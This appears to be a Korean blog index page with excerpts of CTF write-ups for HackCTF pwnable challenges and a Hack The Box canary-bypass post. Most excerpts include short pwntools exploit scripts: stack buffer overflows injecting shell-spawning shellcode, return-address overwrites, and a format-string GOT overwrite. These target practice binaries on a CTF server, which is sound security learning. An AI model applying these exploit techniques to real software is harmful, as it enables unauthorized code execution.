분류 전체보기 (109) 썸네일형 리스트형 HackCTF - Simple_Overflow_ver_2 뭔가 많아 보이지 달라진 건 없다 이전과 마찬가지로 스택 주소를 출력해주니 쉘코드+더미+스택주소를 넣으면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3006) e = ELF('Simple_overflow_ver_2') context.arch = 'i386' shellcode = asm(shellcraft.i386.linux.sh()) r.sendlineafter('Data :', 'AAAA') r.recv(1) stack = int(r.recv(10), 16) r.sendlineafter('(y/n): ', 'y') payload = shellcode payload += 'A'*(140-len(shellcode)) payload += p32(stack) .. HackCTF - x64 Simple_size_BOF 7번줄에서 버퍼 주소를 출력해주니 쉘코드+더미+버퍼 주소를 쓰면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) e = ELF('./Simple_size_bof') context.arch = 'amd64' shellcode = asm(shellcraft.amd64.linux.sh()) r.recvuntil('buf: ') stack = int(r.recv(14), 16) payload = shellcode payload += 'A'*(27960-len(shellcode)) payload += p64(stack) r.sendline(payload) r.interactive() HackCTF - x64 Buffer Overflow 간단하게 ret 위치에 callMeMaybe 를 쓰면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3004) e = ELF('./64bof_basic') payload = 'A'*280 payload += p64(e.sym['callMeMaybe']) r.sendline(payload) r.interactive() HackCTF - 내 버퍼가 흘러넘친다!!! 아무런 보호기법이 안걸려 있다 main에 name 이 없는데 사용하는 걸 보니 bss 주소에 있나 보다 name에 쉘코드를 저장하고 gets에서 name으로 이동하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3003) e = ELF('./prob1') context.arch = 'i386' name = 0x804A060 shellcode = asm(shellcraft.i386.sh()) r.sendline(shellcode) payload = 'A'*24 payload += p32(name) r.sendline(payload) r.interactive() HackCTF - Basic_FSB fsb를 이용해 printf got를 덮으면 된다 이렇게 간단하게 오프셋을 구해주고 pwntools 를 이용해 풀었다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('./basic_fsb', checksec=False) offset = 2 payload = fmtstr_payload(offset, {e.got['printf']:e.sym['flag']}) r.sendline(payload) r.interactive() HackCTF - Basic_BOF #2 v5에는 sup이라는 함수가 들어있는거 같고 fgets 에서 오버플로우로 shell 함수로 덮을 수 있다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3001) e = ELF('./bof_basic2') payload = 'A'*(128) payload += p32(e.sym['shell']) r.sendline(payload) r.interactive() Hackctf - Basic_BOF #1 fgets에서 오버플로우가 발생하고 v5를 0xDEADBEEF로 바꾸면 쉘이 실행되는 간단한 문제이다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3000) payload = 'A'*40 payload += p32(0xdeadbeef) r.sendline(payload) r.interactive() Hack the box - Bad grades 시작하기전 보호기법 확인 1번을 골랐을 때 2번을 골랐을 때 2번을 골랐을 때 숫자를 입력 받고 그 숫자만큼 반복해서 값을 또 받는다 소스코드 이것 저것 확인하던중 stack smashing을 찾았다 gdb 로 canary 값을 찾아 보았다 숫자 입력전 카나리 값이 잘 존재한다 숫자를 입력후 카나리 값이 덮힌걸 볼 수 있다 숫자를 하나만 입력해도 카나리가 바로 덮힌다 이걸 어떻게 우회를 할까 답은 위에 소스코드에 %lf 부분을 잘 검색하면 알 수 있다 https://rehex.ninja/posts/scanf-and-hateful-dot/ pwn> scanf and hateful dot How to bypass the stack canary with . (dot) and scanf. rehex.ninja .. 이전 1 2 3 4 5 6 7 ··· 14 다음